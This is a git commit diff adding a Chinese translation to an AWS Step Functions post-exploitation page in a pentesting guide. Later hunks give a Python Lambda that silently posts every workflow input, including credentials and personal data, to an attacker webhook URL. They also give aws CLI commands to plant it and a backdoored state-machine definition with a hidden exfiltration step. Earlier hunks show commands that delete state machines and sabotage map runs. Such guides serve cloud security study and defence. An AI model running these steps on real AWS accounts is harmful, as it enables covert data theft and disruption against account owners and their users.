Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-03-27 12:45:05 +00:00
parent 69085dfe0c
commit c2d10aa3e6

View File

@@ -18,13 +18,13 @@
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
拥有这些权限的攻击者将能够永久删除状态机、其版本和别名。这可能会中断关键工作流程,导致数据丢失,并需要大量时间来恢复和恢复受影响的状态机。此外,这将允许攻击者掩盖所用的痕迹,干扰取证调查,并可能通过删除重要的自动化流程和状态配置来削弱操作。
拥有这些权限的攻击者将能够永久删除状态机、其版本和别名。这可能会中断关键工作流程,导致数据丢失,并需要大量时间来恢复和恢复受影响的状态机。此外,这将允许攻击者掩盖所用的痕迹,干扰取证调查,并通过删除重要的自动化流程和状态配置来潜在地削弱操作。
> [!NOTE]
>
> - 删除状态机时,您还会删除其所有关联的版本和别名。
> - 删除状态机别名时,您不会删除引用此别名的状态机版本。
> - 当前引用一个或多个别名的状态机版本无法被删除
> - 目前无法删除由一个或多个别名引用的状态机版本。
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
### `states:UpdateMapRun`
拥有此权限的攻击者将能够操纵 Map Run 失败配置和并行设置,能够增加或减少允许的子工作流执行的最大数量,直接影响服务的性能。此外,攻击者可以篡改容忍的失败百分比和计数,能够将此值减少到 0这样每当一个项目失败时整个地图运行将失败直接影响状态机执行并可能中断关键工作流程。
拥有此权限的攻击者将能够操纵 Map Run 失败配置和并行设置,能够增加或减少允许的子工作流执行的最大数量,直接影响服务的性能。此外,攻击者可以篡改容忍的失败百分比和计数,能够将此值减少到 0这样每当一个项目失败时整个地图运行将失败直接影响状态机执行,并可能中断关键工作流程。
```bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
```
@@ -63,4 +63,122 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
```
**潜在影响**:成本分配、资源跟踪和基于标签的访问控制策略的中断。
---
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
一个攻击者如果破坏了具有以下权限的用户或角色:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
```
...可以通过将 Lambda 后门与 Step Function 逻辑操控结合起来,进行 **高影响力和隐蔽的后渗透攻击**
此场景假设受害者使用 **AWS Step Functions 来协调处理敏感输入的工作流**例如凭证、令牌或个人身份信息PII
示例受害者调用:
```bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
```
如果 Step Function 被配置为调用一个像 `LegitBusinessLogic` 的 Lambda攻击者可以继续进行 **两种隐秘的攻击变体**
---
#### 更新 Lambda 函数
攻击者修改 Step Function 已经使用的 Lambda 函数 (`LegitBusinessLogic`) 的代码,以静默地外泄输入数据。
```python
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
```
```bash
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
```
---
#### 向步骤函数添加恶意状态
或者,攻击者可以通过更新步骤函数定义,在工作流的开头注入一个 **exfiltration state**
```malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
```
```bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
```
攻击者甚至可以更隐蔽地更新状态定义为如下内容:
{
"Comment": "后门用于数据外泄",
"StartAt": "ExfiltrateSecrets",
"States": {
"ExfiltrateSecrets": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
"InputPath": "$",
"ResultPath": "$.exfil",
"Next": "OriginalState"
},
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
"End": true
}
}
}
受害者不会意识到不同之处
---
### 受害者设置(利用的背景)
- 使用一个步骤函数(`LegitStateMachine`)来处理敏感用户输入。
- 它调用一个或多个 Lambda 函数,例如 `LegitBusinessLogic`。
---
**潜在影响**
- 静默外泄敏感数据包括秘密、凭证、API 密钥和个人身份信息PII
- 工作流执行中没有可见的错误或失败。
- 如果不审计 Lambda 代码或执行痕迹,难以检测。
- 如果后门保留在代码或 ASL 逻辑中,能够实现长期持久性。
{{#include ../../../banners/hacktricks-training.md}}